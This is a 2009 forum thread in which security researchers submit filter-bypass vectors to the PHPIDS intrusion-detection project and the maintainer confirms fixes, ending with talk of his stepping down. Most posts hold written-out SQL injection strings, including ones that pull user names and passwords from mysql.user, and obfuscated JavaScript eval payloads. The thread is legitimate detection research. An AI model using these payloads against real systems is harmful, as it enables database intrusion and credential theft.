Managed to get a union working

-1' union ((select 1/1 from Table where (select version( )/ 1) like 5)) order by '1
-1' union ((select (select version()/1 )/1,2/1,3 from Table)) order by '1
-1' union ((select (select user),(select password),1/1 from mysql.user)) order by '1
-1' union ((select (select table_name),1/1 from information_schema.tables)) order by '1
-1' union ((select (select substring((select database() limit 1),1/1,20) limit 1),2/1 from Table)) order by '1

It seems we have another recruit :)

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Another HTML5 Firefox beta 3.1 vector:-

http://www.businessinfo.co.uk/labs/phpids/phpids8.html

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Hey guys - late reaction again but I fixed all of the recent vectors. I think there'll be a 0.5.6 the next days to cover all the recent fixes in a release version. Thx for the reports!

5'-1 like binary '0
2'-1 - user() or 1 = '1
asdasd' like id or 1 = '1

you may want to block var declarations too, like:

2'-2 like binary @a:='0

this[(('eva')+ new Array) + 'l']((/x.x.x.x/+name)+/x.x.x.x/) -> http://p42.us/phpids/89.html

1' having '1
1'; select 'sqli
1'; select 1 order by 1/'1
-1'union ( ((select'null')))--null



Edited 1 time(s). Last edit at 03/25/2009 02:54AM by lightos.

this[('eva')+this.status +'l'](/xx.x.x/+name) -> http://p42.us/phpids/90.html

') | (1 -'
1') | user--null
' having substring(version(),1,1) like 5 or 1 like ' 1
' having substring(user(),1,1) like (select 'r') or 1 like ' 1

@lightos

Do you have a blog? I'm impressed with your SQLi foo

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Thanks Gareth, I appreciate the compliment especially from someone of your talents
No blog yet, maybe someday though.

1' and 1 != char(null) or 1 /'null
1' and 1 = hex(null-1 or 1) or 1 /'null
-1' or substring(null/null,1/null,1) or '1



Edited 2 time(s). Last edit at 03/31/2009 09:57PM by lightos.

this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+name,new Array) -> http://p42.us/phpids/91.html

[edit] for fun, this also works: this[[]+('eva')+(/l.is.broken.up.with.a/,new Array)+'l'](/ets.finish.by.passing.it.the.variables/+name,new Array)



Edited 1 time(s). Last edit at 03/31/2009 11:31PM by thornmaker.

Hey guys!

Sry for the delayed answer again... I think most of the vectors are now being detected. Thanks a lot! The sqli vectors are really far beyond - very nice work, lightos!

Btw - if you'd like a new application to hammer on just drop me a line. We are opening up five accounts for testing purposes next week (private² alpha so to say) *g*

Greetings and nice rest-of-the-weekend,
.mario

1' and 1 != 0x71 or 1 /'null
1' and 1 = 0x71 or 1 or 1 /'null
1'/null or user=0x6C696768746F73 or '0

:)



Edited 1 time(s). Last edit at 04/06/2009 06:19AM by lightos.

this[[]+('eva')+(/x/,new Array)+'l'](/count%me%in%for%alpha%testing/+name,delete 1) -> http://p42.us/phpids/92.html

1' order by 1/*null-PHPIDS
1' and 0x1 like 0x1/*null-
1' and 0x1 = 0x1/*null-
1' and /*null*/0x7 = 0x7 or '0

1' and 0x0 != mid(user(),1,1) or null/ 'null



Edited 1 time(s). Last edit at 04/10/2009 03:12AM by lightos.

1' '
1' ''

Simple but works.

Nice ones - thx :) The last ones are almost impossible to fix. I tried but am sure this is going to generate tons of false alerts.

I was gonna IM you this but then I thought other people would want to know. What is happening with PHPIDS? Do you still plan to go down the blacklist route? Is the project going to continue?

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

I wasn't planning to announce that way but...

Honestly I plan to give up the lead - someone else will be taking over in July. The thing is it already does most of what it can do and my motivation is not that high anymore to make minor regex tweaks once or twice a week. So some fresh wind for the PHPIDS can't be wrong...



Edited 1 time(s). Last edit at 04/23/2009 03:44PM by .mario.

Hey Mario sorry if you didn't want anyone to know yet (me and my big mouth).

I'd just like to say well done on a fantastic project and although you are not continuing it you can be proud in what you have achieved. So many good things have come out of the phpids research, the vectors have always been great to work on and can be a real challenge to produce one at times.

I hope the PHPIDS project continues after you've left as I'm a big fan of it. If I ever go to a conference then I'll be sure you buy You, Christian and Lars a well deserved beer.

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

I always followed this thread with great interest. You guys did a great job of developing a wonderful application which provoked a lot of (bleeding-edge) research. Mario, Christian and Lars, well done!

-setTimeout(
1E1+
',aler\
t ( /Mario dont go, its fun phpids rocks/ ) + 1E100000 ' )

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Unbelievable stuff :) Fixed, thx!

still works?
http://bit.ly/xhizE

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

http://www.thespanner.co.uk/2009/06/01/new-phpids-vector/

MMMMMMMMM vectors

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

that's the coolest vector i've seen all year Gareth :)

and since you revived the thread, here's a couple more (nothing especially new): http://p42.us/phpids/93.html and http://p42.us/phpids/93.html

haha sweeeeeeeeeeet that's some huge payload

------------------------------------------------------------------------------------------------------------
"People who say it cannot be done should not interrupt those who are doing it.";
labs : [www.businessinfo.co.uk]
blog : [www.thespanner.co.uk]
Hackvertor : [hackvertor.co.uk]

Hehe - nice indeed. And fixed. Foreverandever :)